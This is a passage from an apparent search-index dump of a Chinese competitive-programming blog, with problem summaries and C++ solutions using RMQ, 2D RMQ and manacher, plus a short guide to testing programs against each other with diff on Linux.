N=5E4+7; 34int n; 35int a[N]; 36int dp[N][20]; 37int dp2[N][20]; 38 39 40int _min(int l,int r) 41{ 42 if (a[l]\u003ca[r]) return l; 43 return r; 44} 45int _max( int l,int r) 46{ 47 if (a[l]\u003ea[r]) return l; 48 else return r; 49} 50void max_init() 51{ 52 for ( int i = 1 ; i \u003c= n ; i++) dp[i][0] = i; 53 54 for ( int j = 1 ; (1\u003c\u003cj)\u003c=n ; j++) 55 for (int i = 1 ; i + (1\u003c\u003cj)-1 \u003c= n ;i++) 56 dp[i][j] = _max(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 57} 58 59void min_init() 60{ 61 for ( int i = 1 ;i \u003c= n ; i++) dp2[i][0] = i; 62 63 for ( int j = 1 ; (1\u003c\u003cj)\u003c= n ; j++) 64 for ( int i = 1 ; i + (1\u003c\u003cj) -1 \u003c= n ; i++) 65 dp2[i][j] = _min(dp2[i][j-1],dp2[i+(1\u003c\u003c(j-1))][j-1]); 66} 67 68int rmq_max(in","date":"2016-05-18","externalUrl":null,"permalink":"/2016/05/poj2452/","section":"Posts","summary":"poj2452题目链接 题意：给你一组数a[n]，求满足a[i] \u003c a[k] \u003c a[j] (i \u003c= k \u003c= j)的最大的j-i。","tags":["binary search","rmq"],"title":"poj 2452 Sticks Problem (rmq+二分，需要返回最值位置)","type":"post"},{"categories":["ACM"],"content":"hdu3193题目链接 题意：给出n个price 和distance,找到一个集合，集合中的每对在全集中找不到比他price和distance都要小的元素。小于是严格的。 思路：一开始以为找到最小值就好。。。结果漏洞百出。。这题还找不到题解。。。大概是太简单了。。？ 看了一份代码大概看明白了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月17日 星期二 19时20分14秒 4File Name :code/hdu/r3193.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34bool ok[N]; 35pi a[N]; 36int n; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 while (~scanf(\"%d\",\u0026n)) 44 { 45 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d %d\",\u0026a[i].fst,\u0026a[i].sec); 46 47 ms(ok,false); 48 sort(a+1,a+n+1); 49 int ans = 0 ; 50 int tmp = inf; 51 int mn = inf; 52 for ( int i = 1 ; i \u003c= n ; i++) 53 { 54 if (i!=1\u0026\u0026a[i].fst!=a[i-1].fst) 55 { 56 mn = min(mn,tmp); 57 tmp = inf; 58 } 59 60 tmp = min(tmp,a[i].sec); 61 if (mn\u003ca[i].sec) ok [i] = false; 62 else ok[i] = true,ans++; 63 } 64 65 printf(\"%d\\n\",ans); 66 for ( int i = 1 ; i \u003c= n ; i++) if (ok[i]) printf(\"%d %d\\n\",a[i].fst,a[i].sec); 67 } 68 69 70 #ifndef ONLINE_JUDGE 71 fclose(stdin); 72 #endif 73 return 0; 74}","date":"2016-05-17","externalUrl":null,"permalink":"/2016/05/hdu-3193/","section":"Posts","summary":"hdu3193题目链接 题意：给出n个price 和distance,找到一个集合，集合中的每对在全集中找不到比他price和distance都要小的元素。小于是严格的。","tags":["思维题"],"title":"hdu 3193 find the hotel (思维题)","type":"post"},{"categories":["其他"],"content":"1首先先生成三个程序： 2$ g++ a+b.cpp -o a+b 3$ g++ a+b2.cpp -o a+b2 4$ g++ make.cpp -o make 5然后生成数据 6$ ./make \u003e in.txt 7然后运行两个程序 8$ ./a+b \u003c in.txt \u003e out.txt 9$ ./a+b2 \u003c in.txt \u003e ans.txt 10最后对拍 11$ diff out.txt ans.txt 12输出的结果可以man diff查阅一下相关文档中关于输出含义的内容 13注：上面的$都是命令提示符，复制粘贴时不需要","date":"2016-05-16","externalUrl":null,"permalink":"/2016/05/linux/","section":"Posts","summary":"1首先先生成三个程序： 2$ g++ a+b.cpp -o a+b 3$ g++ a+b2.cpp -o a+b2 4$ g++ make.cpp -o make 5然后生成数据 6$ ./make \u003e in.txt 7然后运行两个程序 8$ ./a+b \u003c in.txt \u003e out.txt 9$ ./a+b2 \u003c in.txt \u003e ans.txt 10最后对拍 11$ diff out.txt ans.txt 12输出的结果可以man diff查阅一下相关文档中关于输出含义的内容 13注：上面的$都是命令提示符，复制粘贴时不需要","tags":["对拍"],"title":"linux下的对拍写法","type":"post"},{"categories":["ACM"],"content":"lightoj 1081 题目链接 题意：和上一道一样，但是由于size变成了500，如果按照之前的做法会tle + mle… 很容易发现，由于是方阵，长宽是相等的，所以有一维是可以省略的。 也就是所谓的降维？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月16日 星期一 19时24分26秒 4File Name :code/loj/1081.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=501; 34int a[N][N]; 35int dp[N][N][9]; 36int n,q; 37 38void init_rmq() 39{ 40 for ( int i = 1 ; i \u003c= n ; i++) 41 for ( int j = 1 ; j \u003c= n ; j++) 42 dp[i][j][0] = a[i][j]; 43 44 for ( int i = 1 ; (1\u003c\u003ci)\u003c= n ; i++) 45 for ( int p = 1 ; p + (1\u003c\u003ci)-1 \u003c= n ; p++) 46 for ( int q = 1 ; q + (1\u003c\u003ci)-1 \u003c= n ; q++) 47 dp[p][q][i] = max(max(dp[p][q][i-1],dp[p+(1\u003c\u003c(i-1))][q][i-1]),max(dp[p][q+(1\u003c\u003c(i-1))][i-1],dp[p+(1\u003c\u003c(i-1))][q+(1\u003c\u003c(i-1))][i-1])); 48 49 50 51} 52 53int rmq_max(int x1,int y1,int x2,int y2) 54{ 55 int k = 0; 56 while (1\u003c\u003c(k+1)\u003c= x2-x1+1) k++; 57 58 int tmp1 = dp[x1][y1][k]; 59 int tmp2 = dp[x2-(1\u003c\u003ck)+1][y1][k]; 60 int tmp3 = dp[x1][y2-(1\u003c\u003ck)+1][k]; 61 int tmp4 = dp[x2-(1\u003c\u003ck)+1][y2-(1\u003c\u003ck)+1][k]; 62 63 return max(max(tmp1,tmp2),max(tmp3,tmp4)); 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 71 int T; 72 scanf(\"%d\",\u0026T); 73 int cas = 0 ","date":"2016-05-16","externalUrl":null,"permalink":"/2016/05/loj1081/","section":"Posts","summary":"lightoj 1081 题目链接 题意：和上一道一样，但是由于size变成了500，如果按照之前的做法会tle + mle…","tags":["rmq"],"title":"lightoj 1081 Square Queries (二维rmq，降维)","type":"post"},{"categories":["ACM"],"content":"poj2019题目链接 题意：给一个方阵，k个查询，每个查询求某个方阵的最大值和最小值之差。 思路：二维rmq.同时用到最大值和最小值的话可以把初始化写在一起。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月16日 星期一 18时31分23秒 4File Name :code/poj/2019.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=251; 34int a[N][N]; 35int dp[N][N][8][8]; 36int dp2[N][N][8][8]; 37int n,b,q; 38 39void init_rmq() 40{ 41 for ( int i = 1 ;i \u003c= n ; i++) 42 for ( int j = 1 ; j \u003c= n ; j++) 43 dp[i][j][0][0] = dp2[i][j][0][0] = a[i][j]; 44 45 46 for ( int i = 0 ; (1\u003c\u003ci)\u003c= n ; i++) 47 for ( int j = 0 ; (1\u003c\u003cj) \u003c= n ; j++) 48 if (i==0 \u0026\u0026 j==0) continue; 49 else for ( int p = 1 ; p + (1\u003c\u003ci)-1 \u003c= n ; p++) 50 for ( int q = 1 ; q + (1\u003c\u003cj)-1 \u003c= n ; q++) 51 if (i==0) 52 { 53 dp[p][q][i][j] = max(dp[p][q][i][j-1],dp[p][q+(1\u003c\u003c(j-1))][i][j-1]); 54 dp2[p][q][i][j] = min(dp2[p][q][i][j-1],dp2[p][q+(1\u003c\u003c(j-1))][i][j-1]); 55 } 56 else 57 { 58 dp[p][q][i][j] = max(dp[p][q][i-1][j],dp[p+(1\u003c\u003c(i-1))][q][i-1][j]); 59 dp2[p][q][i][j] = min(dp2[p][q][i-1][j],dp2[p+(1\u003c\u003c(i-1))][q][i-1][j]); 60 } 61} 62 63 64int _rmq(int x1,int y1,int x2,int y2) 65{ 66 int k1 = 0 ; 67 int k2 = 0 ; 68 while (1\u003c\u003c(k1+1)\u003c=x2-x1+1) k1++; 69 while (1\u003c\u003c(k2+1)\u003c=y2-y1+1) k2+","date":"2016-05-16","externalUrl":null,"permalink":"/2016/05/poj2019/","section":"Posts","summary":"poj2019题目链接 题意：给一个方阵，k个查询，每个查询求某个方阵的最大值和最小值之差。","tags":["rmq"],"title":"poj 2019 Cornfields (二维rmq)","type":"post"},{"categories":["ACM"],"content":"hdu2888题目链接 题意：问某个矩阵内的最大值，并且问最大值是否是在四个角中出现。 思路：二维rmq.需要注意数组稍微开大1就会MLE,因为是四维数组，一维大一点，整个就会大很多==。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月16日 星期一 16时51分00秒 4File Name :code/hdu/2888.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=301; 34int n,m,q; 35int a[N][N]; 36int dp[N][N][9][9]; 37 38 39void init_rmq() 40{ 41 for ( int i = 1 ; i \u003c= n ; i++) 42 for ( int j = 1; j \u003c= m ; j++) dp[i][j][0][0] = a[i][j]; 43 44 for ( int i = 0 ; (1\u003c\u003ci)\u003c= n ; i++) 45 for ( int j = 0 ; (1\u003c\u003cj)\u003c= m ;j++) 46 if (i==0\u0026\u0026j==0) continue; 47 else for ( int p = 1 ; p + (1\u003c\u003ci)-1 \u003c= n ; p++) 48 for ( int q = 1 ; q + (1\u003c\u003cj)-1 \u003c= m ;q ++) 49 if (i==0) 50 dp[p][q][i][j] = max(dp[p][q][i][j-1],dp[p][q+(1\u003c\u003c(j-1))][i][j-1]); 51 else dp[p][q][i][j] = max(dp[p][q][i-1][j],dp[p+(1\u003c\u003c(i-1))][q][i-1][j]); 52 53} 54 55 56 57int rmq_max(int x1,int y1,int x2,int y2) 58{ 59 int k1 = 0 ; 60 int k2 = 0 ; 61 62 while (1\u003c\u003c(k1+1)\u003c=x2-x1+1) k1++; 63 while (1\u003c\u003c(k2+1)\u003c=y2-y1+1) k2++; 64 65 int tmp1 = dp[x1][y1][k1][k2]; 66 int tmp2 = dp[x2-(1\u003c\u003ck1)+1][y1][k1][k2]; 67 int tmp3 = dp[x1][y2-(1\u003c\u003ck2)+1][k1][k2]; 68 int tmp4 = dp[x2-(1\u003c\u003ck1)+1][y2-(1\u003c\u003ck2)+1][k1][k2]; 69 70 retur","date":"2016-05-16","externalUrl":null,"permalink":"/2016/05/hdu2888/","section":"Posts","summary":"hdu2888题目链接 题意：问某个矩阵内的最大值，并且问最大值是否是在四个角中出现。 思路：二维rmq.需要注意数组稍微开大1就会MLE,因为是四维数组，一维大一点，整个就会大很多==。","tags":["rmq"],"title":"hdu 2888 check corners (二维rmq模板题)","type":"post"},{"categories":["ACM"],"content":"hdu3183题目链接 题意：n位长的数字串（n\u003c=1000),删掉m个（m\u003c=n），使得剩下的数字串表示的数字最小。 忽略前导0. 思路：暴力搞就可以。要注意每位数字是有一定位置的范围的。比如当前是第i位数字，后面还要取n-m-i位数字，那么第i位数字最多只能取到第k位，k=m+i,因为这样才能保证后面还有n-m-i位数字。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月16日 星期一 13时15分44秒 4File Name :code/hdu/3183.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n,m; 35 36int ans[N]; 37char st[N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 while (~scanf(\"%s %d\",st,\u0026m)) 45 { 46 n = strlen(st); 47 ms(ans,0); 48 49 int x = 0 ; 50 for ( int i = 1 ; i \u003c= n-m ; i++) 51 { 52 int MIN = inf; 53 for ( int j = x+1 ; j \u003c= m+i ; j++) 54 { 55 int val = st[j-1]-'0'; 56 if (val\u003cMIN) 57 { 58 MIN = val; 59 x = j; 60 } 61 } 62 ans[i] = MIN; 63 } 64 65 66 bool zero = true; 67 bool output = false; 68 for ( int i = 1; i \u003c= n-m ; i++) 69 { 70 if (ans[i]!=0) zero = false; 71 if (!zero) 72 { 73 output = true; 74 printf(\"%d\",ans[i]); 75 } 76 } 77 if (output) 78 printf(\"\\n\"); 79 else printf(\"0\\n\"); 80 81 } 82 83 84 85 #ifndef ONLINE_JUDGE 86 fclose(stdin); 87 #endif 88 return 0; 89}","date":"2016-05-16","externalUrl":null,"permalink":"/2016/05/hdu3183/","section":"Posts","summary":"hdu3183题目链接 题意：n位长的数字串（n\u003c=1000),删掉m个（m\u003c=n），使得剩下的数字串表示的数字最小。 忽略前导0.","tags":["brute force"],"title":"hdu 3183 A Magic Lamp ( 暴力)","type":"post"},{"categories":["ACM"],"content":"1636: [Usaco2007 Jan]Balanced Lineup # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 680 Solved: 493 [Submit][Status][Discuss] Description # For the daily milking, Farmer John’s N cows (1 \u003c= N \u003c= 50,000) always line up in the same order. One day Farmer John decides to organize a game of Ultimate Frisbee with some of the cows. To keep things simple, he will take a contiguous range of cows from the milking lineup to play the game. However, for all the cows to have fun they should not differ too much in height. Farmer John has made a list of Q (1 \u003c= Q \u003c= 200,000) potential groups of cows and their heights (1 \u003c= height \u003c= 1,000,000). For each group, he wants your help to determine the difference in height between the shortest and the tallest cow in the group. 每天,农夫 John 的N(1 \u003c= N \u003c= 50,000)头牛总是按同一序列排队. 有一天, John 决定让一些牛们玩一场飞盘比赛. 他准备找一群在对列中为置连续的牛来进行比赛. 但是为了避免水平悬殊,牛的身高不应该相差太大. John 准备了Q (1 \u003c= Q \u003c= 180,000) 个可能的牛的选择和所有牛的身高 (1 \u003c= 身高 \u003c= 1,000,000). 他想知道每一组里面最高和最低的牛的身高差别. 注意: 在最大数据上, 输入和输出将占用大部分运行时间. Input # Line 1: Two space-separated integers, N and Q. * Lines 2..N+1: Line i+1 contains a single integer that is the height of cow i * Lines N+2..N+Q+1: Two integers A and B (1 \u003c= A \u003c= B \u003c= N), representing the range of cows from A to B inclusive. Output # 6 3 1 7 3 4 2 5 1 5 4 6 2 2 Sample Input # Lines 1..Q: Each line contains a single integer that is a response to a reply and indicates the difference in height between the tallest and shortest cow in the range. Sample Output # 6 3 0 HINT # Source # Silver rmq可以o(1)查询出某区间的最大值或者最小值。 以前觉得这个算法可能比较难。。今天一看，哪里难了。。。 大概的思想就是，把要查询的区间用两个相等长度的区间覆盖。 查询区间的最大值就是这两端区间的最大值再取最大值。 首先要做的是预处理。 dp[i][j]表示从i开始连续2^j个元素的最大值。 初始值dp[i][0] = a[i]; 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月15日 星期日 21时04分57秒 4Fil","date":"2016-05-15","externalUrl":null,"permalink":"/2016/05/bzoj1636/","section":"Posts","summary":"1636: [Usaco2007 Jan]Balanced Lineup # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 680 Solved: 493 [Submit][Status][Discuss]","tags":["rmq"],"title":"BZOJ 1636: [Usaco2007 Jan]Balanced Lineup (RMQ模板题)","type":"post"},{"categories":["ACM"],"content":"1689: [Usaco2005 Open] Muddy roads 泥泞的路 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 311 Solved: 227 [Submit][Status][Discuss] Description # Farmer John has a problem: the dirt road from his farm to town has suffered in the recent rainstorms and now contains (1 \u003c= N \u003c= 10,000) mud pools. Farmer John has a collection of wooden planks of length L that he can use to bridge these mud pools. He can overlap planks and the ends do not need to be anchored on the ground. However, he must cover each pool completely. Given the mud pools, help FJ figure out the minimum number of planks he needs in order to completely cover all the mud pools. 牧场里下了一场暴雨，泥泞道路上出现了许多水坑，约翰想用一批长度为L的木板将这些水坑盖住. 牧场里的道路可以看成一根数轴，每个水坑可以用数轴上的两个坐标表示，如(3，6)表示从3到6有一个长度为3的水坑．所有的水坑都是不重叠的，(3，6)和(6，9)可以出现在同一个输入数据中，因为它们是两个连续的水坑，但不重叠． 请你帮助约翰计算最少要用多少块木板才能将所有水坑盖住 Input # Line 1: Two space-separated integers: N and L * Lines 2..N+1: Line i+1 contains two space-separated integers: s_i and e_i (0 \u003c= s_i \u003c e_i \u003c= 1,000,000,000) that specify the start and end points of a mud pool along the road. The mud pools will not overlap. These numbers specify points, so a mud pool from 35 to 39 can be covered by a single board of length 4. Mud pools at (3,6) and (6,9) are not considered to overlap. 第1行有二个用空格隔开的整数N和L．其中1≤N≤10000，表示水坑总数．L为木板长度． 接下来的N行每行有二个用整数si和ei(0≤si\u003cei≤109)，表示一个水坑的两个坐标． Output # Line 1: The miminum number of planks FJ needs to use. 一个整数，表示约翰盖住所有水坑最少要用多少块长为L的木板． Sample Input # 3 3 1 6 13 17 8 12 Sample Output # 5 HINT # Source # Silver 注意区间是左开右闭。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月10日 星期二 21时00分28秒 4File Name :code/bzoj/1689.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e","date":"2016-05-10","externalUrl":null,"permalink":"/2016/05/bzoj1689/","section":"Posts","summary":"1689: [Usaco2005 Open] Muddy roads 泥泞的路 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 311 Solved: 227 [Submit][Status][Discuss]","tags":["模拟"],"title":"BZOJ 1689: [Usaco2005 Open] Muddy roads 泥泞的路 （模拟）","type":"post"},{"categories":["ACM"],"content":"题目链接：hdu4513 题意：给出一个n的数的序列，求出一个最长的回文字串，并且满足从[l,mid]单调增（非严格单调，可以相等），[mid,r]单调减（同样是可以相等） 思路：manacher…int型的也是可以搞的。。要求单调的话。。。while扩展的时候判一下就好了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月18日 星期一 20时32分45秒 4File Name :code/hdu/4513.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n; 35int p[N]; 36int a[N]; 37 38int manacher( int *s) 39{ 40 for ( int i = n ; i \u003e= 0 ; i--) 41 { 42 s[i+i+2] = s[i]; 43 s[i+i+1] = 300; 44 } 45 s[0] = 400;s[2*n+3] =405; 46 47 // for ( int i = 1 ; i \u003c 2*n+1 ; i++) cout\u003c\u003c\"s[i]:\"\u003c\u003cs[i]\u003c\u003cendl; 48 int id = 0 ; 49 int maxlen = 0 ; 50 51 for ( int i = 2 ; i \u003c 2*n +1 ; i++) 52 { 53 if (p[id]+id\u003ei) p[i] = min(p[2*id-i],p[id]+id-i); 54 else p[i] = 1; 55 56 while (s[i-p[i]]==s[i+p[i]]) 57 { 58 if (s[i-p[i]]==300) 59 { 60 p[i]++; 61 } 62 else if (s[i-p[i]]\u003c300) 63 { 64 if (s[i-p[i]]\u003es[i-p[i]+2]) break; 65 p[i]++; 66 } 67 68// cout\u003c\u003c\"aaaaaaaaaooooooo\"\u003c\u003cendl; 69 } 70// cout\u003c\u003c\"p[i]:\"\u003c\u003cp[i]\u003c\u003cendl; 71 if (id+p[id]\u003ci+p[i]) id = i ; 72 73 if (maxlen\u003cp[i]) maxlen = p[i]; 74 } 75 76 return maxlen-1; 77} 78int main() 79{ 80 #ifndef ONLINE_JUDGE 81 freopen(\"code/in.txt\",\"r\",stdin); 82 #endif 83 int T; 84","date":"2016-04-18","externalUrl":null,"permalink":"/2016/04/hdu-4513/","section":"Posts","summary":"题目链接：hdu4513 题意：给出一个n的数的序列，求出一个最长的回文字串，并且满足从[l,mid]单调增（非严格单调，可以相等），[mid,r]单调减（同样是可以相等）","tags":["manacher"],"title":"hdu 4513 吉哥系列故事——完美队形II (回文串,manacher)","type":"post"},{"categories":["ACM"],"content":"poj 3294 题意：先做个简单替换，然后求替换后的字符串的最长回文串，以及这个最长回文串的开始和结束位置。 思路：manacher..需要注意的是，返回下标的时候如果字符串长度为偶数，那么中间是没有字符的。。。需要特判一下。。（我的做法是left+(ans%2==0); 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月18日 星期一 19时40分06秒 4File Name :code/hdu/3294.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E5+7; 34char st[N],st2[N]; 35int p[N]; 36char ch; 37 38void manacher(char *s) 39{ 40 int len = strlen(s); 41 42 for ( int i = len ; i\u003e= 0 ; i--) 43 { 44 s[i*2+2] = s[i]; 45 s[i*2+1] = '#'; 46 } 47 48 int id = 0 ; 49 int maxlen = 0 ; 50 int center = 0 ; 51 s[0]='%'; 52 for ( int i = 2 ; i \u003c 2*len+1 ; i++) 53 { 54 if (id+p[id]\u003ei) p[i] = min(p[2*id-i],p[id]+id-i); 55 else p[i] = 1; 56 57 while (s[p[i]+i]==s[i-p[i]]) p[i]++; 58 59 if (id+p[id]\u003ci+p[i]) id = i; 60 if (p[i]\u003emaxlen) 61 { 62 maxlen = p[i]; 63 center = i; 64 } 65 } 66 int ans = (maxlen-1); 67 // cout\u003c\u003c\"ans:\"\u003c\u003cans\u003c\u003c\" center:\"\u003c\u003ccenter\u003c\u003cendl; 68 if (ans\u003c2) 69 { 70 puts(\"No solution!\"); 71 } 72 else 73 { 74 int left = center/2-1-ans/2+(ans%2==0); 75 int right = center/2-1+ans/2; 76 printf(\"%d %d\\n\",left,right); 77 for ( int i = left ; i \u003c= right ; i++) printf(\"%c\",st2[i]); 78 printf(\"\\n\"); 79 } ","date":"2016-04-18","externalUrl":null,"permalink":"/2016/04/poj3294/","section":"Posts","summary":"poj 3294 题意：先做个简单替换，然后求替换后的字符串的最长回文串，以及这个最长回文串的开始和结束位置。 思路：manacher..需要注意的是，返回下标的时候如果字符串长度为偶数，那么中间是没有字符的。。。需要特判一下。。（我的做法是left+(ans%2==0);","tags":["manacher"],"title":"poj 3294 Girls' research (manacher,回文串)","type":"post"},{"categories":["ACM"],"content":"poj3974 题意：求最大长度的回文字串。 思路：manacher裸题，用来练习算法。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月18日 星期一 16时32分25秒 4File Name :code/poj/3974.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E6+7; 34char st[2*N]; 35int p[2*N]; 36 37int manacher(char *s) 38{ 39 int len = strlen(s); 40 for ( int i = len ; i \u003e= 0 ; i-- ) 41 { 42 s[i+i+2]=s[i]; 43 s[i+i+1]='#'; 44 } 45 s[0]='$'; 46 47 int id = 0 ; 48 int maxlen = 0 ; 49 50 for ( int i = 2 ; i \u003c 2*len+1 ; i++) 51 { 52 if (id+p[id]\u003ei) p[i] = min(p[2*id-i],id+p[id]-i); 53 else p[i] = 1; 54 55 while (s[i+p[i]]==s[i-p[i]]) p[i]++; 56 if (id+p[id]\u003ci+p[i]) id = i; 57 if (p[i]\u003emaxlen) maxlen = p[i]; 58 } 59 return maxlen-1; 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 int cas = 0 ; 67 while (scanf(\"%s\",st)!=EOF) 68 { 69 if (st[0]=='E'\u0026\u0026st[1]=='N'\u0026\u0026st[2]=='D') break; 70 printf(\"Case %d: %d\\n\",++cas,manacher(st)); 71 72 } 73 74 #ifndef ONLINE_JUDGE 75 fclose(stdin); 76 #endif 77 return 0; 78}","date":"2016-04-18","externalUrl":null,"permalink":"/2016/04/poj-3974-palindrome-manacher/","section":"Posts","summary":"poj3974 题意：求最大长度的回文字串。 思路：manacher裸题，用来练习算法。","tags":["manacher"],"title":"poj 3974 Palindrome (最长回文字串，manacher裸题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求一个字符串中的最长回文串。 思路：昨天武大校赛遇到了一个manacher算法的题。。。我竟然听都没听过。。。 于是去学习了一发。 感觉这篇博客讲得最详细manachar算法学习 于是切了个模板题练手。 